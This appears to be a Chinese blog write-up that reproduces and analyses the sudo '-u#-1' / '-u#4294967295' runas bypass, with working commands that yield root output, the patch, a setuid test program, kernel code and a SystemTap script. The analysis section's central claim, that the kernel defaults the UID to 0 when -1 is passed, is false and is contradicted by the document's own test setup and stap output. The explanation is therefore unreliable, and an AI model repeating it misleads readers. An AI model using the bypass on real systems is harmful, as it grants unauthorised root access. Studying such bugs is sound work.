1. 漏洞复现

实验环境：

操作系统	CentOS Linux release 7.5.1804
内核	3.10.0-862.14.4.el7.x86_64
sudo 版本	1.8.19p2

首先添加一个系统帐号 test_sudo 作为实验所用：

[root@localhost ~] # useradd test_sudo

然后用 root 身份在 /etc/sudoers 中增加：

test_sudo ALL=(ALL,!root) /usr/bin/id

表示允许 test_sudo 帐号以非 root 外的身份执行 /usr/bin/id，如果试图以 root 帐号运行 id 命令则会被拒绝：

[test_sudo@localhost ~] $ sudo id
对不起，用户 test_sudo 无权以 root 的身份在 localhost.localdomain 上执行 /bin/id。

sudo -u 也可以通过指定 UID 的方式来代替用户，当指定的 UID 为 -1 或 4294967295（-1 的补码，其实内部是按无符号整数处理的）时，因此可以触发漏洞，绕过上面的限制并以 root 身份执行命令：

[test_sudo@localhost ~]$ sudo -u#-1 id
uid=0(root) gid=1004(test_sudo) 组=1004(test_sudo) 环境=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[test_sudo@localhost ~]$ sudo -u#4294967295 id
uid=0(root) gid=1004(test_sudo) 组=1004(test_sudo) 环境=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

2. 漏洞原理分析

在官方代码仓库找到提交的修复代码：https://www.sudo.ws/repos/sudo/rev/83db8dba09e7。

从提交的代码来看，只修改了 lib/util/strtoid.c。strtoid.c 中定义的 sudo_strtoid_v1 函数负责解析参数中指定的 UID 字符串，补丁关键代码：

/* Disallow id -1, which means "no change". */
if (!valid_separator(p, ep, sep) || llval == -1 || llval == (id_t)UINT_MAX) {
  if (errstr != NULL)
    *errstr = N_("invalid value");
  errno = EINVAL;
  goto done;
 }

llval 变量为解析后的值，不允许 llval 为 -1 和 UINT_MAX（4294967295）。

也就是补丁只限制了取值而已，从漏洞行为来看，如果为 -1，最后得到的 UID 却是 0，为什么不能为 -1？当 UID 为 -1 的时候，发生了什么呢？继续深入分析一下。

我们先用 strace 跟踪下系统调用看看：

[root@localhost ~]# strace -u test_sudo sudo -u#-1 id

因为 strace -u 参数需要 root 身份才能使用，因此上面命令需要先切换到 root 帐号下，然后用 test_sudo 身份执行了 sudo -u#-1 id 命令。从输出的系统调用中，注意到：

setresuid(-1, -1, -1)                   = 0

sudo 内部调用了 setresuid 来提升权限（虽然还调用了其他设置组之类的函数，但先不做分析），并且传入的参数都是 -1。

因此，我们做一个简单的实验来调用 setresuid(-1, -1, -1) ，看看为什么执行后会是 root 身份，代码如下：

#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>

int main() {
  setresuid(-1, -1, -1);
  setuid(0);
  printf("EUID: %d, UID: %d\n", geteuid(), getuid());
  return 0;
}

注意，需要将编译后的二进制文件所属用户改为 root，并加上 s 位，当设置了 s 位后，其他帐号执行时就会以文件所属帐号的身份运行。

为了方便，我直接在 root 帐号下编译，并加 s 位：

[root@localhost tmp] # gcc test.c
[root@localhost tmp] # chmod +s a.out

然后以 test_sudo 帐号执行 a.out：

[test_sudo@localhost tmp] $ ./a.out
EUID: 0, UID: 0

可见，运行后，当前身份变成了 root。

其实 setresuid 函数只是系统调用 setresuid32 的简单封装，可以在 GLibc 的源码中看到它的实现：

// 文件：sysdeps/unix/sysv/linux/i386/setresuid.c
int
__setresuid (uid_t ruid, uid_t euid, uid_t suid)
{
  int result;

  result = INLINE_SETXID_SYSCALL (setresuid32, 3, ruid, euid, suid);

  return result;
}

setresuid32 最后调用的是内核函数 sys_setresuid，它的实现如下：

// 文件：kernel/sys.c

SYSCALL_DEFINE3(setresuid, uid_t, ruid, uid_t, euid, uid_t, suid)
{
  ...

  struct cred *new;

  ...

  kruid = make_kuid(ns, ruid);
  keuid = make_kuid(ns, euid);
  ksuid = make_kuid(ns, suid);

  new = prepare_creds();
  old = current_cred();

  ...

  if (ruid != (uid_t) -1) {
    new->uid = kruid;
    if (!uid_eq(kruid, old->uid)) {
      retval = set_user(new);
      if (retval < 0)
        goto error;
    }
  }
  if (euid != (uid_t) -1)
    new->euid = keuid;
  if (suid != (uid_t) -1)
    new->suid = ksuid;
  new->fsuid = new->euid;

  ...

  return commit_creds(new);

 error:
  abort_creds(new);
  return retval;
}

简单来说，内核在处理时，会调用 prepare_creds 函数创建一个新的凭证结构体，而传递给函数的 ruid、euid和suid 三个参数只有在不为 -1 的时候，才会将 ruid、euid 和 suid 赋值给新的凭证（见上面三个 if 逻辑），否则默认的 UID 就是 0。最后调用 commit_creds 使凭证生效。这就是为什么传递 -1 时，会拥有 root 权限的原因。

我们也可以写一段 SystemTap 脚本来观察下从应用层调用 setresuid 并传递 -1 到内核中的状态：

# 捕获 setresuid 的系统调用
probe syscall.setresuid {
  printf("exec %s, args: %s\n", execname(), argstr)
}

# 捕获内核函数 sys_setresuid 接受到的参数
probe kernel.function("sys_setresuid").call {
  printf("(sys_setresuid) arg1: %d, arg2: %d, arg3: %d\n", int_arg(1), int_arg(2), int_arg(3));
}

# 捕获内核函数 prepare_creds 的返回值
probe kernel.function("prepare_creds").return {
  # 具体数据结构请见 linux/cred.h 中 struct cred 结构体
  printf("(prepare_cred), uid: %d; euid: %d\n", $return->uid->val, $return->euid->val)
}

然后执行：

[root@localhost tmp] # stap test.stp

接着运行前面我们编译的 a.out，看看 stap 捕获到的：

exec a.out, args: -1, -1, -1 # 这里是传递给 setresuid 的 3 个参数
(sys_setresuid) arg1: -1, arg2: -1, arg3: -1 # 这里显示最终调用 sys_setresuid 的三个参数
(prepare_cred), uid: 1000; euid: 0 # sys_setresuid 调用了 prepare_cred，可看到默认 EUID 是为 0的